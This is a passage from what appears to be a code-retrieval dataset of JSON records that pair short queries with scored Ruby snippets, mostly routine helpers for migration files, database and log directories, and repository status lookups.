File.basename(f).match(/^(\\d+)/)[0].to_i\n }.max.to_i || 0\n end", "title": "" }, { "docid": "9f9913041db33f161350f7f0e6952435", "score": "0.51949996", "text": "def build_migration_name\n @plugins_to_migrate.map do |plugin| \n \"#{plugin.name}_to_version_#{@new_versions[plugin.name]}\" \n end.join(\"_and_\")\n end", "title": "" }, { "docid": "ab7f1b2d5c17de041ca08002ffaa5172", "score": "0.5186852", "text": "def migration_name_column\n @migration_name_column ||= quote_column_name('migration_name')\n end", "title": "" }, { "docid": "7383fd6416e20c16dfde3d3acd8df050", "score": "0.5175923", "text": "def generated_files_dir\n @generated_files_dir || default_generated_files_dir\n end", "title": "" }, { "docid": "27176d32259e50b72c4647258e71d5a7", "score": "0.5175294", "text": "def migrations\n files = File.expand_path \"db/migrate\"\n files_ary = Dir.entries(files).select{|x| x[0..0] != \".\"}\n migrations = files_ary.map do |i| \n migration = i.humanize.split(\".\").first\n if migration.split(\" \").first.length == 14\n migration_ary = migration.split(\" \")\n date, version = migration_ary.first.to_date, migration_ary.first\n migration_ary.delete migration_ary.first\n migrate_str = \"[#{version}] : #{migration_ary.join(' ')} : #{date}\"\n version == db_version(true) ? migrate_str << \" [X]\" : migrate_str\n else\n migration\n end\n end\n footer = \"#{files_ary.length} Migrations\"\n footer_border = \"=\"*migrations.last.length\n migrations << [footer_border,footer]\n y migrations.flatten!\n end", "title": "" }, { "docid": "63d796ca6ccccdfea04c61783bc257d1", "score": "0.51738685", "text": "def log_file_dir()\n @log_file_dir = nil if !defined?(@log_file_dir)\n return @log_file_dir\n end", "title": "" }, { "docid": "c952a76895e62255b820b4c39d27cb3a", "score": "0.5167141", "text": "def migration_files\n Dir[root.join(paths[:migrations_directory], \"[0-9]*_*.rb\")]\n end", "title": "" }, { "docid": "cc7183d625ef1adf14e4b5b42bb36fcd", "score": "0.5154953", "text": "def dir_path\n installer ? installer.config.installation_root : Dir.pwd\n end", "title": "" }, { "docid": "c9154f0c495cacbfad341a35a1b7a8d6", "score": "0.5140748", "text": "def yml_directory\n return @yml_directory if @yml_directory\n return default_directory if self.respond_to? :default_directory\n nil\n end", "title": "" }, { "docid": "2c01dbf46b33bdeae22578baf8356547", "score": "0.5134364", "text": "def git_directory_path\n base = defined?(@working_dir) ? @working_dir.to_s : nil\n\n File.expand_path(execute(git_cmd('rev-parse', '--git-dir')), base)\n end", "title": "" }, { "docid": "4a15bd36729c5905d5226a78d5d1bf7f", "score": "0.51329994", "text": "def absolute_dir\n @absolute_dir || SchemaTools.schema_path\n end", "title": "" }, { "docid": "91172439d73860f251faf8962778acaf", "score": "0.5132785", "text": "def sql_target_destination\n ::File.join(project_path, 'sql')\n end", "title": "" }, { "docid": "2b79876a1b2dd614e5b36b694c71695f", "score": "0.5127727", "text": "def base_directory=(dir)\n @base_directory = dir\n # If change the base directory, then unless migration dir is\n # an absolute path, it will need to change too.\n @migration_directory = File.join(@base_directory, @migration_directory) unless is_absolute_path?(@migration_directory)\n @dml_directory = File.join(@base_directory, @dml_directory) unless is_absolute_path?(@dml_directory)\n @code_dir = File.join(@base_directory, @code_dir) unless is_absolute_path?(@code_dir)\n if @plugin_dir\n @plugin_dir = File.join(@base_directory, @plugin_dir) unless is_absolute_path?(@plugin_dir)\n end\n end", "title": "" }, { "docid": "836ea170adf0add525f4d32a57f6f69e", "score": "0.5126166", "text": "def migrations\n unless options[:skip_migrations]\n migration_files = Dir[File.join(self.class.source_root, 'db/migrate/*.rb')]\n migrations_not_in_order =\n migration_files.collect { |f| File.basename(f).sub(/\\.rb$/, '') } - MIGRATION_ORDER\n unless migrations_not_in_order.empty?\n fail \"%s migration%s not added to MIGRATION_ORDER: %s\" % [\n migrations_not_in_order.size,\n migrations_not_in_order.size == 1 ? '' : 's',\n migrations_not_in_order.join(', ')\n ]\n end\n\n # because all migration timestamps end up the same, causing a collision when running rake db:migrate\n # copied functionality from RAILS_GEM_PATH/lib/rails_generator/commands.rb\n MIGRATION_ORDER.each_with_index do |model, i|\n unless (prev_migrations = Dir.glob(\"db/migrate/[0-9]*_*.rb\").grep(/[0-9]+_#{model}.rb$/)).empty?\n prev_migration_timestamp = prev_migrations[0].match(/([0-9]+)_#{model}.rb$/)[1]\n end\n copy_file(\"db/migrate/#{model}.rb\", \"db/migrate/#{(prev_migration_timestamp || Time.now.utc.strftime(\"%Y%m%d%H%M%S\").to_i + i).to_s}_#{model}.rb\")\n end\n end\n end", "title": "" }, { "docid": "39616d70caa0f66cb1bcb803bae58a98", "score": "0.5120063", "text": "def default_directory\n haproxy_name_path('/var/lib/%{name}')\n end", "title": "" }, { "docid": "747b7a450faba1610e5b5bf1a3eab3ca", "score": "0.51083744", "text": "def postgres_dir\n ::File.join(new_resource.base_dir, 'modules', 'system', 'layers', 'base', 'org', 'postgresql', 'main')\n end", "title": "" }, { "docid": "d16af83cc5a8ff40f1f18a978918cc41", "score": "0.51031446", "text": "def port_dbdir(path = nil)\n unless dir = ENV['PORT_DBDIR']\n dir = '/var/db/ports'\n end\n path ? File.join(dir, path) : dir\n end", "title": "" }, { "docid": "2513c6de407a2648b7c86405e55db95f", "score": "0.5091711", "text": "def default_activerecord_dir\n @default_activerecord_dir ||= if (activerecord_lib_dir = $LOAD_PATH.detect {|f| f =~ /activerecord/})\n File.expand_path(File.dirname(activerecord_lib_dir))\n end\n end", "title": "" }, { "docid": "d822167b8cb254d393085ccb51d66b3c", "score": "0.5074608", "text": "def log_dir\n return pretty_path(File.join(Dir::COMMON_APPDATA, 'RightScale', 'log'))\n end", "title": "" }, { "docid": "3e47b74d061f7751ba8ee1f88804c492", "score": "0.5063723", "text": "def default_dir\n File.join(File.dirname(__FILE__), 'defaults')\n end", "title": "" }, { "docid": "c7f36657713761d75b46d9cc9592fa14", "score": "0.50506103", "text": "def migration_base_class_name\n 'ActiveRecord::Migration'\n end", "title": "" }, { "docid": "ea2b7e78065192c4da354dc446363ee4", "score": "0.5032356", "text": "def migration_class_name\n \"Migration_#{major}_#{minor}_#{patch}_#{build}\"\n end", "title": "" }, { "docid": "a715f8babc1522bf9599850e5a352bad", "score": "0.5024947", "text": "def schema_path(ldif_config_dir, schema_name)\n Dir[\"#{ldif_config_dir}/cn=config/cn=schema/*#{schema_name}.ldif\"].first\n end", "title": "" }, { "docid": "bfd4b1d6360d9c66d9555231f89a6f8f", "score": "0.50150746", "text": "def db_path(db_name)\n File.join(@path, db_name)\n end", "title": "" }, { "docid": "88d0ca0109e644a16d371b8e6e7edbf1", "score": "0.500851", "text": "def config_dir\n user_config_exists? ? user_config_dir : default_dir\n end", "title": "" }, { "docid": "618438e2b58b4e04b03b0df704cbb913", "score": "0.5002144", "text": "def mysql_directory\n '/var/lib/mysql'\n end", "title": "" }, { "docid": "618438e2b58b4e04b03b0df704cbb913", "score": "0.5002144", "text": "def mysql_directory\n '/var/lib/mysql'\n end", "title": "" }, { "docid": "8f5fe6b4ad812a68f46900a0b0c813ef", "score": "0.49890855", "text": "def directory_name\n @directory_name ||= \"#{repository.identifier}.git\"\n end", "title": "" }, { "docid": "93fecbf8b2e79deca249c057234a4d80", "score": "0.4986927", "text": "def down_dirs\n return ['down'] unless @down_dirs\n @down_dirs\n end", "title": "" }, { "docid": "6e53ef93f6bb9681610c31996545967e", "score": "0.4984904", "text": "def init_schema_name\n return if disabled?\n\n self.schema_name = db_migration_schema\n end", "title": "" }, { "docid": "0aa35c3d0c7e934098767d4fb52b6378", "score": "0.49848366", "text": "def migrations(_migrations_paths)\n #DataMigrate::MigrationContext.new(migrations_paths).migrations\n DataMigrate::MigrationContext.new(_migrations_paths).migrations\n end", "title": "" }, { "docid": "b4c192fcf6eee8787c0f0a43b13e2d84", "score": "0.49812603", "text": "def ldap_config_directory\n return \"#{ENV['LDAP_CONFIG_DIR'] ? ENV['LDAP_CONFIG_DIR'] : ENV['HOME'] + '/.ldap'}\"\n end", "title": "" }, { "docid": "db0a8ea1281788fcece93c488f423343", "score": "0.49710256", "text": "def migrations\n @migrations || []\n end", "title": "" }, { "docid": "362982ad7461d2ec9534fcae8d692762", "score": "0.4965414", "text": "def config_directory\n\t\t\topts['ConfigDirectory'] || DefaultConfigDirectory\n\t\tend", "title": "" }, { "docid": "fe923ade2e21cbedc2a83926814705a2", "score": "0.49449855", "text": "def build_migration_file_name (name)\n migration_number_strings = []\n Find.find(MIGRATIONS_DIR) do |filename|\n nr_scan = filename.scan( /((\\d){3})[^\\/]*rb$/ )\n while nr_scan.class == Array\n nr_scan = nr_scan[0]\n end\n migration_number_strings << nr_scan\n end\n sprintf \"%.3d_%s.rb\", ( migration_number_strings.map{ |s| s.to_s.to_i }.max + 1 ), name\nend", "title": "" }, { "docid": "58ff7c7ee7b28e589d1e673a2667034d", "score": "0.49370924", "text": "def local_directory\n File.join(local_base, File.basename(@datasource_id, 'csv'))\n end", "title": "" }, { "docid": "cef7adbf02fec31e0f9eb0ad0aa661d8", "score": "0.49224332", "text": "def append_migrations\n initializer :append_migrations do |app|\n unless app.root.to_s.match root.to_s+File::SEPARATOR\n app.config.paths[\"db/migrate\"].concat config.paths[\"db/migrate\"].expanded\n end\n end\n end", "title": "" }, { "docid": "565833303c09461fb416d70d1c295b32", "score": "0.49141192", "text": "def db_dir=(_arg0); end", "title": "" }, { "docid": "6856f328e16f8e45f4978f5ccba8a2e4", "score": "0.49133235", "text": "def existing_migration_name(migration_title)\n Dir.glob(\"#{Rails.root}/db/migrate/[0-9]*_#{migration_title.underscore}.rb\").first\n end", "title": "" }, { "docid": "6856f328e16f8e45f4978f5ccba8a2e4", "score": "0.49133235", "text": "def existing_migration_name(migration_title)\n Dir.glob(\"#{Rails.root}/db/migrate/[0-9]*_#{migration_title.underscore}.rb\").first\n end", "title": "" }, { "docid": "c24bf7cc902f6a0e4dcddac4f3ddaf27", "score": "0.49096167", "text": "def archetype_database_yml_file\n deploy_path.join(\"db/database.yml\")\n end", "title": "" }, { "docid": "df6ed78378d0b3dce6e830045b62f159", "score": "0.49080467", "text": "def log_dir\n @log_dir ||= self[:log_dir] || File.join(root_dir, 'log')\n end", "title": "" }, { "docid": "ed8ea2d119e50fc4a1d447008bfe5163", "score": "0.49013186", "text": "def yml_directory\n return @yml_directory if @yml_directory\n return default_directory if self.respond_to? :default_directory\n nil\n end", "title": "" }, { "docid": "725d53d1bcaad360e4e9874dfe71de42", "score": "0.4898432", "text": "def schema_dump_path\n File.join ARTest::SQLServer.root_activerecord, \"test/assets/schema_dump_5_1.yml\"\n end", "title": "" }, { "docid": "4aba00b8affa6aacfe2f23bc4b6494ec", "score": "0.48925206", "text": "def schema_dump_path\n File.join ARTest::SQLServer.root_activerecord, 'test/assets/schema_dump_5_1.yml'\n end", "title": "" }, { "docid": "a28406178da47bc11cc081cf7f8e5114", "score": "0.48919594", "text": "def directory\n options.directory ? options.directory : '.'\n end", "title": "" }, { "docid": "62336070b1b32e5d1550496f7450ba3a", "score": "0.4891371", "text": "def db_name\n dump_all? ? '--all-databases' : name\n end", "title": "" }, { "docid": "27c4585845a436aa09486536f9922b65", "score": "0.48754442", "text": "def database_path\n Api.proj_context_get_database_path(self)\n end", "title": "" }, { "docid": "07ccdc17ce47855356e946c46fb37c31", "score": "0.48714274", "text": "def output_directory_path\n if @output_directory.nil?\n directory = File.join(Rails.root, 'script')\n else\n directory = File.join(@output_directory, '')\n end\n directory\n end", "title": "" } ]
d0f5061034f1d81f77b050974be8dcca
Returns a Symbol. Possible results: :added (subset of :included) :removed :untracked :included (aka :modified) :normal If you call localrepostatus from this method... well... I DARE YOU!
[ { "docid": "d787a5ab249ecb92538ad2574902576f", "score": "0.5462658", "text": "def file_status(filename, opts={})\n parse_status! opts\n inverted = @status.inject({}) do |h, (k, v)|\n v.each {|v_| h[v_] = k }\n h\n end\n \n # Now convert it so it uses the same jargon\n # we REALLY need to get the dirstate and localrepo on\n # the same page here.\n case inverted[filename]\n when :modified\n :included\n when :added\n :added\n when :removed\n :removed\n when :unknown\n :untracked\n else\n :normal\n end\n \n end", "title": "" } ]
[ { "docid": "886515bbc5a8e4c3aa323855c669386f", "score": "0.6362979", "text": "def untracked; end", "title": "" }, { "docid": "886515bbc5a8e4c3aa323855c669386f", "score": "0.6362979", "text": "def untracked; end", "title": "" }, { "docid": "91cbb2dd50a524dd3b63de473e86bcee", "score": "0.59659487", "text": "def untracked\n @untracked\n end", "title": "" }, { "docid": "b39cc35ba7ea4ba4f03f6b7b8d4d5f83", "score": "0.58245534", "text": "def status\n @status.to_sym\n end", "title": "" }, { "docid": "3f18a53fa5a25ab2c0b2e7bf5b414383", "score": "0.5803843", "text": "def recstatus_sym; RECSTATUS_MAP[recstatus.to_i]; end", "title": "" }, { "docid": "342002c3bae182fb940a751d147f0f2d", "score": "0.57946336", "text": "def status\n head :not_modified and return unless status_has_changed?\n end", "title": "" }, { "docid": "a8d668a2310cfd6696901c858736f633", "score": "0.5733683", "text": "def statuses\n Statuses\n end", "title": "" }, { "docid": "7db19c46fc2ba468731c0d9ee0f921a6", "score": "0.5689109", "text": "def status_string(*) end", "title": "" }, { "docid": "18989ee8877de86a4849759577a0193c", "score": "0.567498", "text": "def status_symbol_txt\n return I18n.t('activerecord.attributes.mission.' + status_symbol)\n end", "title": "" }, { "docid": "aa0b941605d6d356d331854762bfc805", "score": "0.56333107", "text": "def status\n \"foobar\"\n end", "title": "" }, { "docid": "acf01da5e39136098fb071af15433d8d", "score": "0.5630892", "text": "def tracked\n @tracked.dup\n end", "title": "" }, { "docid": "d202cffc22e60a2fa09456bcf298aac8", "score": "0.5613409", "text": "def shipped\n Notification.shipped\n end", "title": "" }, { "docid": "ab208b923fb67b90eb59203f11bb5998", "score": "0.56014144", "text": "def get_status\n end", "title": "" }, { "docid": "7d077ad599e23104beced71540442821", "score": "0.5559764", "text": "def status\n status_code.to_sym\n end", "title": "" }, { "docid": "7af617b19485febcf35b94cefc78dea7", "score": "0.55540055", "text": "def github_status_summary; end", "title": "" }, { "docid": "8615e3c0e1d09cb1863401a0ead02b53", "score": "0.5553963", "text": "def status_name\n status.name\n end", "title": "" }, { "docid": "fac2d67b4d878716c0e2b53f51675938", "score": "0.55525994", "text": "def external_status\n @external_status\n end", "title": "" }, { "docid": "fac2d67b4d878716c0e2b53f51675938", "score": "0.55524", "text": "def external_status\n @external_status\n end", "title": "" }, { "docid": "b1175eeb85659e214f84d309e2d6f416", "score": "0.55498594", "text": "def status\n if delta.status == :deleted\n return :added\n elsif delta.status == :added\n return :deleted\n else\n return delta.status\n end\n end", "title": "" }, { "docid": "1aae1c57199999b7b282e9b90114ea76", "score": "0.5545121", "text": "def status\n return \"Pending\" if !completed\n \"Completed\"\nend", "title": "" }, { "docid": "377de490ab0442c7568a1a56ba506567", "score": "0.5545004", "text": "def status_map\n {\"Open\" => :unstarted, \"In Progress\" => :in_progress, \"Reopened\" => :unstarted, \"Resolved\" => :closed, \"Closed\" => :closed}\n end", "title": "" }, { "docid": "9f06c2d11f2eb17f1f693df38782f197", "score": "0.5541909", "text": "def tracking_status_enum\n [ \"paid\", \"suggestion\", \"meeting\", \"choice\", \"inscription\" ]\n end", "title": "" }, { "docid": "4ed110eddf00fe1eeadd0b639ba1dccd", "score": "0.55386025", "text": "def status_name\n status.name if status\n end", "title": "" }, { "docid": "4880dc9e47f8aba7fe5000531d6d0e19", "score": "0.55318373", "text": "def symbol\n case status\n when 'pending' then '>>'\n when 'done' then '√'\n when 'expired' then 'x'\n end\n end", "title": "" }, { "docid": "52753d9b58a56b872ead61b695e8c6a0", "score": "0.5529226", "text": "def status()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "6d463a0ef67fbbe57aba54a60674473c", "score": "0.5528123", "text": "def status_s; Statuses[status] end", "title": "" }, { "docid": "6d463a0ef67fbbe57aba54a60674473c", "score": "0.5528123", "text": "def status_s; Statuses[status] end", "title": "" }, { "docid": "01e660a0ccb49945d9a64f58396653ba", "score": "0.5486226", "text": "def status_symbol\n ['❚❚', '~', '⟳', '⥥', '⬇', '⥣', '⬆', '✘'].at(status)\n end", "title": "" }, { "docid": "6ac0686b19edf2074a45baf6f1295118", "score": "0.5458395", "text": "def recorded_status\n 'recorded'\n end", "title": "" }, { "docid": "5d8ba803e3aebf52ece3b628f11ec674", "score": "0.5455962", "text": "def has_status?(symbol,value) \n human_array = humanize(value)\n human_array.include?(symbol)\n end", "title": "" }, { "docid": "edf9337eb3dbd6b1a44728ba8d8e7d4e", "score": "0.5443971", "text": "def status\n event_status.name\n end", "title": "" }, { "docid": "9c41b9fd278c7aac29cfb46d5f9ba13a", "score": "0.54439014", "text": "def status_info\n @untracked = 0\n @changed = 0\n \n s = @git.status\n # check for changed files\n unless s.changed.empty?\n @status << \"changes\"\n \n # The count of modified, uncommitted files\n @changed = s.changed.keys.size\n end\n \n unless s.added.empty?\n @status << \"untracked\"\n @untracked = s.added.keys.size\n end\n \n if @untracked + @changed == 0\n @status << \"up to date\"\n end\n \n end", "title": "" }, { "docid": "75a7583011e66d4eefb8aec23d544644", "score": "0.54377866", "text": "def status\n @_status\n end", "title": "" }, { "docid": "d29d75ea7d72632277dd2f203785c657", "score": "0.5418425", "text": "def status\n object.current_state.name\n end", "title": "" }, { "docid": "86534f2adeacfdd908373961b3b65951", "score": "0.54045725", "text": "def status_display\n self.events.reject{|e| !(e.is_a? WorkspaceStatusEvent)}.last.display\n end", "title": "" }, { "docid": "e4f9e6046ac8f25e4037a4cca1fe63f1", "score": "0.54043156", "text": "def status\n { }\n end", "title": "" }, { "docid": "d3a6f046bc702520798379832439cd81", "score": "0.54036963", "text": "def status_name\n case self.verdict\n when \"1\"\n \"approved\"\n when \"0\"\n \"rejected\"\n else\n \"saved\"\n end\n end", "title": "" }, { "docid": "35044bdfecbe80656c190a84cd804f59", "score": "0.538876", "text": "def statuses\n {\n available: \"Disponível\",\n ordered: \"Em análise\",\n approved: \"Aprovada\",\n rejected_aux: \"Rejeitada\",\n cancelled: \"Cancelada\",\n on_date: \"A vencer\",\n due_today: \"Vence hoje\",\n waiting_liquidation: \"Aguardando liquidação\",\n expected_liquidation_today: \"Liquidação esperada\",\n overdue: \"Em atraso\",\n paid: \"Liquidada\",\n pdd: \"Perdida\",\n }\n end", "title": "" }, { "docid": "03e4b31341ed52211d7a48171883469a", "score": "0.53859913", "text": "def status\n closed ? 'Closed' : 'Open'\n end", "title": "" }, { "docid": "03e4b31341ed52211d7a48171883469a", "score": "0.53859913", "text": "def status\n closed ? 'Closed' : 'Open'\n end", "title": "" }, { "docid": "3fb8192f32b1eac4c541d41256f53801", "score": "0.5379061", "text": "def status\n return :pending if !started and !completed\n return :active if started and !completed\n return :rejected if !started and completed\n return :completed\n end", "title": "" }, { "docid": "40abfc5e8ef61b917a4999e708ddd6a1", "score": "0.53744906", "text": "def membership_statuses_incl_informational\n aasm.states.map(&:name) + memberships_manager_class.informational_statuses\n end", "title": "" }, { "docid": "d3e6728db4a80c3d5a57cbe50528d642", "score": "0.5350727", "text": "def already_reported; end", "title": "" }, { "docid": "989d138a213b20ea86d52b6a014a0e99", "score": "0.5344834", "text": "def status\n case content\n when /^\\+/\n :added\n when /^\\-/\n :deleted\n else\n :not_modified\n end\n end", "title": "" }, { "docid": "282100fcf1722fcf5894752facfdc099", "score": "0.5344619", "text": "def status\n end", "title": "" }, { "docid": "282100fcf1722fcf5894752facfdc099", "score": "0.5344619", "text": "def status\n end", "title": "" }, { "docid": "282100fcf1722fcf5894752facfdc099", "score": "0.5344619", "text": "def status\n end", "title": "" }, { "docid": "282100fcf1722fcf5894752facfdc099", "score": "0.5344619", "text": "def status\n end", "title": "" }, { "docid": "282100fcf1722fcf5894752facfdc099", "score": "0.5344619", "text": "def status\n end", "title": "" }, { "docid": "282100fcf1722fcf5894752facfdc099", "score": "0.5344619", "text": "def status\n end", "title": "" }, { "docid": "6b286875e4dce113ebb4b53ce8380a0f", "score": "0.5342283", "text": "def last_status; end", "title": "" }, { "docid": "a6ecbcf9c6b629433e1a9dcd3af7a328", "score": "0.53297436", "text": "def order_status(status)\n \tstatus.name\n end", "title": "" }, { "docid": "195f8e96a14ca8476e76f8feb4c9e596", "score": "0.5328698", "text": "def pending_statuses\n required_statuses.select(&:pending?)\n end", "title": "" }, { "docid": "86a6ed89ddb5bb1a458a6d6acdf4b1d6", "score": "0.5325769", "text": "def status\n filter!\n @reporter.status\n end", "title": "" }, { "docid": "137a748b12bbd9ea082e77c18d1adbca", "score": "0.53240615", "text": "def labelsForModifiedFiles()\n labels = []\n labels.push(\"api: analytics\") if @has_analytics_changes\n labels.push(\"api: abtesting\") if @has_abtesting_changes\n labels.push(\"api: appcheck\") if @has_appcheck_changes\n labels.push(\"api: appdistribution\") if @has_appdistribution_changes\n labels.push(\"api: auth\") if @has_auth_changes\n labels.push(\"api: core\") if @has_core_changes\n labels.push(\"api: crashlytics\") if @has_crashlytics_changes\n labels.push(\"api: database\") if @has_database_changes\n labels.push(\"api: dynamiclinks\") if @has_dynamiclinks_changes\n labels.push(\"api: firestore\") if @has_firestore_changes\n labels.push(\"api: functions\") if @has_functions_changes\n labels.push(\"api: inappmessaging\") if @has_inappmessaging_changes\n labels.push(\"api: installations\") if @has_installations_changes\n labels.push(\"api: messaging\") if @has_messaging_changes\n labels.push(\"api: performance\") if @has_performance_changes\n labels.push(\"api: remoteconfig\") if @has_remoteconfig_changes\n labels.push(\"api: storage\") if @has_storage_changes\n labels.push(\"release-tooling\") if @has_releasetooling_changes\n labels.push(\"public-api-change\") if @has_api_changes\n return labels\nend", "title": "" }, { "docid": "e313e4f0daff821724d4e2a162bd7929", "score": "0.5322563", "text": "def type_for_status\n Constant::Status[display_name]\n end", "title": "" }, { "docid": "8047e9e8c53ad7b11fca1a6f4fe45490", "score": "0.5322262", "text": "def status\n return :completed if self.completed\n return :pending\n end", "title": "" }, { "docid": "554c1a6dd6f0d1253e79bf95b42a6be8", "score": "0.5321157", "text": "def status\n end", "title": "" }, { "docid": "10175ab1d9fb3b9e8a2b70de6dd6b10b", "score": "0.53171325", "text": "def status_name\n n = name\n n += \" *\" unless self.active?\n n += \" ᵖ\" if self.partner?\n n\n end", "title": "" }, { "docid": "4f783fd06c128100ad49730aec783b79", "score": "0.53074676", "text": "def status_name\n STATUSES[status]\n end", "title": "" }, { "docid": "4f783fd06c128100ad49730aec783b79", "score": "0.53074676", "text": "def status_name\n STATUSES[status]\n end", "title": "" }, { "docid": "4f783fd06c128100ad49730aec783b79", "score": "0.53074676", "text": "def status_name\n STATUSES[status]\n end", "title": "" }, { "docid": "38481183b69c4b8323a6e08f4bd008e3", "score": "0.5305301", "text": "def tracked_changes_fields\n modified.keys.map(&:humanize)\n end", "title": "" }, { "docid": "ea6d2b6af4dd29a57675589c9da77efd", "score": "0.52989393", "text": "def status\n @status.state\n end", "title": "" }, { "docid": "b16d9bc19111effef0bf543c96a8c960", "score": "0.5295803", "text": "def github_status_messages; end", "title": "" }, { "docid": "dcc61db20606ecc84a64a42db4fc8252", "score": "0.5295131", "text": "def status\n\n end", "title": "" }, { "docid": "ed6026e7d12fda2525796cfbffd2ac9b", "score": "0.52947646", "text": "def retrieve_status\n \n end", "title": "" }, { "docid": "01fa540acfadf5050f27e27a43d66f68", "score": "0.5285956", "text": "def status(object) \n end", "title": "" }, { "docid": "b4732108e204b788ec16e8bceed81b9e", "score": "0.5284887", "text": "def tracked_files; end", "title": "" }, { "docid": "ef408db15cc17a77f7d1dada59f0c7e2", "score": "0.5279861", "text": "def status\n band_status.name\n end", "title": "" }, { "docid": "6c03d31665aaf6b9fa1e89a3f0df6f5e", "score": "0.52750546", "text": "def test_status_to_hash\n\n # Parse it\n hash = Git.status_to_hash @@status_parsed\n\n assert hash[:unadded]\n assert_equal [\n ['modified', 'changed.rb'],\n ['modified', 'modifiedandadded.rb']],\n hash[:unadded]\n\n assert hash[:added]\n assert_equal [\n ['new file', 'unadded.txt'],\n ['modified', 'modified.rb']],\n hash[:added]\n\n assert hash[:untracked]\n assert_equal [\n ['untracked', 'untracked.rb'],\n ['untracked', 'untracked2.rb']],\n hash[:untracked]\n end", "title": "" }, { "docid": "69682afa6ebcb4499e936c57e8d09002", "score": "0.5270371", "text": "def status_name\n ['paused', 'check wait', 'check', 'download wait', 'download',\n 'seed wait', 'seed', 'isolated'].at(status)\n end", "title": "" }, { "docid": "1c6ff3b196aee22a3eee4c2fb28cd6f6", "score": "0.52693295", "text": "def ticket_status__potential_values(current_user = nil)\r\nTICKET_STATUSES\r\nend", "title": "" }, { "docid": "6d58e89321be40da3bdb4a83e3f00acc", "score": "0.5269226", "text": "def pending_notifications; end", "title": "" }, { "docid": "4c68e84133bda4f6d613b795e4ef741d", "score": "0.5268677", "text": "def statuses\n @statutes\n end", "title": "" }, { "docid": "00fd322d9203b3637bd25f9ca114aeb3", "score": "0.5265909", "text": "def status_name\n OrderItem::Status.name(status)\n end", "title": "" }, { "docid": "410ec594a0e756db23335aa7a801204d", "score": "0.526328", "text": "def status(*) end", "title": "" }, { "docid": "410ec594a0e756db23335aa7a801204d", "score": "0.526328", "text": "def status(*) end", "title": "" }, { "docid": "344d3d30dc23c0a6d5ba158e2860a541", "score": "0.5254068", "text": "def untracked_requests\n open_requests - selected_requests\n end", "title": "" }, { "docid": "805570c9ff4aa049f7f8b4587c44a8f3", "score": "0.5250764", "text": "def status\n \"incomplete\"\n end", "title": "" }, { "docid": "95f4b58b22d90010bbc96161738c27cb", "score": "0.52449673", "text": "def trackable?\n ['packed', 'shipped', 'complete'].include? status\n end", "title": "" }, { "docid": "35274107fca0acc058a1f966a3823cfc", "score": "0.5237821", "text": "def untracked\n @files.select { |_k, f| f.untracked }\n end", "title": "" }, { "docid": "ca5fa5ee23fadf93aaab130dcd122923", "score": "0.5235908", "text": "def show_local_status\n string_key = nil\n\n if !env.root_path\n string_key = :status_no_environment\n elsif !env.vm\n string_key = :status_not_created\n else\n additional_key = nil\n if env.vm.vm.running?\n additional_key = :status_created_running\n elsif env.vm.vm.saved?\n additional_key = :status_created_saved\n elsif env.vm.vm.powered_off?\n additional_key = :status_created_powered_off\n end\n\n string_key = [:status_created, {\n :vm_state => env.vm.vm.state,\n :additional_message => additional_key ? Translator.t(additional_key) : \"\"\n }]\n end\n\n string_key = [string_key, {}] unless string_key.is_a?(Array)\n wrap_output { puts Translator.t(*string_key) }\n end", "title": "" }, { "docid": "fbcf1b724209f70387ecb9762a7fe71c", "score": "0.5233701", "text": "def status()\n @status\n end", "title": "" }, { "docid": "04dbeb5131bad03b58585681b7ee9b09", "score": "0.5223139", "text": "def functional_statuses\n get_data_elements('functional_status')\n end", "title": "" }, { "docid": "101266bf69edfd34ee21384362cbf53b", "score": "0.521745", "text": "def status\n @status\n end", "title": "" }, { "docid": "101266bf69edfd34ee21384362cbf53b", "score": "0.521745", "text": "def status\n @status\n end", "title": "" }, { "docid": "3b173f831ef8bd3ddf6a7a0156f280e6", "score": "0.5217093", "text": "def status\n @raw_status\n end", "title": "" }, { "docid": "3b173f831ef8bd3ddf6a7a0156f280e6", "score": "0.5217093", "text": "def status\n @raw_status\n end", "title": "" }, { "docid": "4cf230105919f3b260bd3f7cfa9e68d5", "score": "0.52149236", "text": "def kyc_status_pending\n \"pending\"\n end", "title": "" }, { "docid": "a13a80f3763e0bada076e5dec87574b4", "score": "0.5212604", "text": "def new_status\n nil\n end", "title": "" }, { "docid": "8fac70331f82820aeff15852219a8301", "score": "0.5206638", "text": "def open_submission_status\n 'Open for Applications'\n end", "title": "" }, { "docid": "1bba208241915daeb0fd88e7b6a0627f", "score": "0.52027285", "text": "def software_update_status_summary\n return @software_update_status_summary\n end", "title": "" }, { "docid": "a0636275a59e81b3fd03f498642c8a01", "score": "0.5193767", "text": "def status\n return :disabled unless @enabled\n case @status\n when nil then :defined\n else @status\n end\n end", "title": "" }, { "docid": "51700fdccc8887d05774ac46aa10c04e", "score": "0.51865566", "text": "def general\n @status = {\"completed\" => Portfolio.completed.count, \"on-time\" => Portfolio.on_time.count, \"late\" => Portfolio.late.count}\n end", "title": "" }, { "docid": "0cdb49e4d551614c638a1ef40df97c68", "score": "0.51812357", "text": "def status_label\n @status_label ||= STATUSES.invert[self.status.to_sym]\n end", "title": "" }, { "docid": "77ef8e5d1fae2b93b6358466cbcf8b71", "score": "0.51787037", "text": "def status_name\n status.name if status\n end", "title": "" }, { "docid": "d47d19312b5d98790aa1c93a7d7e8800", "score": "0.51776534", "text": "def status\n self['_status']\n end", "title": "" }, { "docid": "fff9789be15a20a70396522d5f078fe3", "score": "0.5177551", "text": "def human_status_name\n enum_status\n end", "title": "" }, { "docid": "a390ae4c681b3bcd502fcf7e40a49937", "score": "0.5175075", "text": "def status_summary\n if @changed == 0 && @untracked == 0\n \"good\"\n \n elsif @changed > 0 && @untracked == 0\n \"questionable\"\n \n else\n # both untracked and changed files in the repo\n \"poor\"\n end\n end", "title": "" } ]
09976d4138ef28f9065db925bf0b5596
True if this is a remote kernel flaw.
[ { "docid": "c1943adeee0a58af369f4f927b3cadda", "score": "0.8185846", "text": "def is_remote_kernel_flaw\r\n is_remote_flaw and is_kernel_flaw\r\n end", "title": "" } ]
